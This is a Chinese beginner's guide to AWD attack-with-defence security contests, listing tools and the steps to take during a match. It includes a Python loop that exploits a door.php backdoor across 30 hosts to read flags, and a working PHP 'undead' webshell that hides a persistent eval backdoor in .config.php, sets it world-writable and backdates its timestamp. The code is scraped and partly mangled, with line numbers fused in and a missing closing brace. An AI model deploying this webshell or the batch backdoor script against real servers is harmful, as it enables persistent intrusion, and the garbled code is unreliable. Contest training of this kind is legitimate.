新手如何快速入门AWD
声明
本篇文章是给新手入门准备AWD比赛的文章,技术大佬请绕道
介绍
AWD赛制是一种网络安全竞赛的赛制。AWD赛制由安全竞赛专家及行业专家凭借十多年实战经验,将真实网络安全防护设备设施加入抽象的网络环境中,模拟政府、企业、院校等单位的典型网络结构和配置,开展的一种人人对抗的竞赛方式,考验参赛者攻防兼备的能力。其主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。 AWD attack with defence
赛前需要掌握的技能和工具
扫描工具(必备): D盾,seay源代码审计系统
终端模拟器:xshell
虚拟机:kali linux
shell管理:蚁剑,中国菜刀,冰蝎(可任选其一ps:蚁剑只能接收post)
比赛开始之后要做什么
- 拿到主办方给的账户利用xshell登录,如何使用xshell请自行搜索不再赘述
- 如果账户的密码是有规律可寻的,那么一定一定要修改自己的密码,登录之后passwd回车,输入两次密码后修改成功,密码有迹可循可以登录别人的机器然后直接查找到flag或者写入不死马,能够充分取分
- 将/var/www/html(一般来说web源码都在这个文件夹下)下的源码下载到本地,这个时候不能闲着,快速浏览web服务的各个目录找到后门,一般很容易辨识,如door.php,shell.php,webshell.php,hack.php….
- cat /door.php 使用蚁剑或者菜刀连接别人的web服务找到flag快速取分同时删掉后门文件防止失分
- 写批量利用的py脚本对后门进行攻击,如:ip/door.php 后门密码为post型的door
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19import requests
#假设参加的人数为30ip的最后一段为1-30
for i in range(1,31):
url='192.168.x.{}/door.php'.format(i)
data={'door':'cat /flag.txt'}
#try except用于判断是否还有shell,如果没有则跳过
try:
re = requests.post(url,data,timeout=3)
print(re.content)
'''
这里可以添加自动向裁判提交flag的内容,参考上面的post
data2={'flag':re.content}
re = requests.post(url2,data2)url2为向裁判提交的url
'''
except:
pass
'''
PS:有的比赛得分并不是提交flag而是拿到shell之后进行curl+token攻击,这一定要看好主办方是怎么说的
''' - 快速得分之后就是进行代码审计了可以使用seay自动审计列出可能存在风险的文件,进行代码审计
- 如果审计不出什么东西,记得时刻关注积分板,如果自己被攻击了,可以获取别人的payload进行攻击apache的日志一般在 /usr/local/apache/logs,也可以实时用wireshark抓取本地的流量查看payload,wireshark搜索敏感关键字eval assert post get
- 获取别人的shell之后上传不死马
1
2
3
4
5
6
7
8
9
10
11
12//常见不死马
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents('.config.php', '@eval($_POST['hack']);?>');
system('chmod 777 .config.php');
touch(".config.php", mktime(20,15,1,11,17,2017));
usleep(100);
//hack密码蚁剑直连训练大纲
- linux常见命令的使用kill ps grep rm mkdir等
- D盾扫描工具和seay扫描工具的使用
- shell管理的使用
- xshell,x-ftp的使用
- 搜集php的一句话木马以及不死马
- 掌握基本的php代码审计能力可以练习简单的ctfphp代码审计题